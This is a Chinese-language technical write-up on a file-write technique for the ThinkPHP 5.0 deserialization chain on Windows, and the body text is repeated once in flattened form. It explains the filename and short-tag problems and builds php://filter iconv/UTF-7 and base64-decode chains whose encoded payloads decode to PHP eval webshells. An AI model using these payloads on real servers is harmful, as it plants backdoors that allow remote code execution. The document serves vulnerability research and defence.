Thinkphp5.0反序列化链在Windows下写文件的方法
字数 1048 2025-08-25 22:58:20

ThinkPHP5.0反序列化链在Windows下写文件的方法

前言

ThinkPHP5.0的反序列化漏洞在利用过程中存在两个主要问题:

  1. 无法在Windows系统下写入文件
  2. 在Linux系统下写入的文件无法正常执行代码

本文将详细分析这些问题产生的原因,并提供有效的解决方案。

问题分析

Windows下无法写文件的原因

在Windows系统中,文件名不能包含以下特殊字符:

  • ?
  • <
  • >
  • :
  • "
  • \
  • /
  • |
  • *

而ThinkPHP5.0反序列化链生成的payload通常包含类似<?cuc @riny($_TRG[_]);?>的代码片段,其中的<?字符导致Windows系统拒绝创建文件。

Linux下文件无法执行的原因

在Linux系统下虽然可以成功写入文件,但文件内容中的<?cuc会被PHP解释器识别为短标签语法,由于<?后跟随的cuc不符合PHP语法规则,导致解析错误:

Parse error: syntax error, unexpected 'rkvg' (T_STRING)

解决方案探索

尝试使用strip_tags和base64过滤器

最初尝试使用以下两种过滤器组合:

  1. string.strip_tags - 去除HTML和PHP标签
  2. convert.base64-decode - 解码base64编码内容

示例代码:

$filename = "php://filter/string.strip_tags|convert.base64-decode/resource=PD9waHAgZXZhbCgkX0dFVFtjY2NdKTsgPz4/../a.php";
$data = "<?php \n//000000000000\nexit();?>\nphp://filter/string.strip_tags|convert.base64-decode/resource=aPD9waHAgZXZhbCgkX0dFVFtjY2NdKTsgPz4/../a.php";

问题resource=后面的等号(=)会导致base64解码失败。

使用convert.iconv.*过滤器

发现convert.iconv.*过滤器可以将特殊字符转换为可被base64解码的形式:

  • = 被转换为 +AD0-
  • 这些转换后的字符可以被convert.base64-decode正确解码

示例:

$cc = 'php://filter/convert.iconv.utf-8.utf-7/resource=123.txt';
file_put_contents($cc, '=');
// 写入内容为: +AD0-

最终解决方案

结合convert.iconvconvert.base64-decode过滤器,构造有效的payload:

$payload = 'php://filter/convert.iconv.utf-8.utf-7|convert.base64-decode/resource=aaaPD9waHAgQGV2YWwoJF9QT1NUWydjY2MnXSk7Pz4g/../a.php';
$filename = $payload . '468bc8d30505000a2d7d24702b2cda94.php';
$data = "<?php \n//000000000000\nexit();?>\n" . serialize($payload . '647c4f96a28a577173d6e398eefcc3fe.php');
file_put_contents($filename, $data);

关键点说明

  1. 字符集转换:使用convert.iconv.utf-8.utf-7将特殊字符转换为UTF-7编码
  2. base64解码:后续使用convert.base64-decode解码转换后的内容
  3. 文件名构造:确保最终文件名不包含Windows禁止的特殊字符
  4. 文件内容处理:通过序列化和过滤器链确保写入的内容可被正确解析

后记

convert.iconv.*过滤器支持的字符集可以通过以下方式查看:

  1. PHP手册英文版
  2. Linux下执行iconv -l命令

实际利用时,需要根据目标环境调整字符集转换参数,确保payload能在不同系统下正常工作。

ThinkPHP5.0反序列化链在Windows下写文件的方法 前言 ThinkPHP5.0的反序列化漏洞在利用过程中存在两个主要问题: 无法在Windows系统下写入文件 在Linux系统下写入的文件无法正常执行代码 本文将详细分析这些问题产生的原因,并提供有效的解决方案。 问题分析 Windows下无法写文件的原因 在Windows系统中,文件名不能包含以下特殊字符: ? < > : " \ / | * 而ThinkPHP5.0反序列化链生成的payload通常包含类似 <?cuc @riny($_TRG[_]);?> 的代码片段,其中的 < 和 ? 字符导致Windows系统拒绝创建文件。 Linux下文件无法执行的原因 在Linux系统下虽然可以成功写入文件,但文件内容中的 <?cuc 会被PHP解释器识别为短标签语法,由于 <? 后跟随的 cuc 不符合PHP语法规则,导致解析错误: 解决方案探索 尝试使用strip_ tags和base64过滤器 最初尝试使用以下两种过滤器组合: string.strip_tags - 去除HTML和PHP标签 convert.base64-decode - 解码base64编码内容 示例代码: 问题 : resource= 后面的等号( = )会导致base64解码失败。 使用convert.iconv.* 过滤器 发现 convert.iconv.* 过滤器可以将特殊字符转换为可被base64解码的形式: = 被转换为 +AD0- 这些转换后的字符可以被 convert.base64-decode 正确解码 示例: 最终解决方案 结合 convert.iconv 和 convert.base64-decode 过滤器,构造有效的payload: 关键点说明 字符集转换 :使用 convert.iconv.utf-8.utf-7 将特殊字符转换为UTF-7编码 base64解码 :后续使用 convert.base64-decode 解码转换后的内容 文件名构造 :确保最终文件名不包含Windows禁止的特殊字符 文件内容处理 :通过序列化和过滤器链确保写入的内容可被正确解析 后记 convert.iconv.* 过滤器支持的字符集可以通过以下方式查看: PHP手册英文版 Linux下执行 iconv -l 命令 实际利用时,需要根据目标环境调整字符集转换参数,确保payload能在不同系统下正常工作。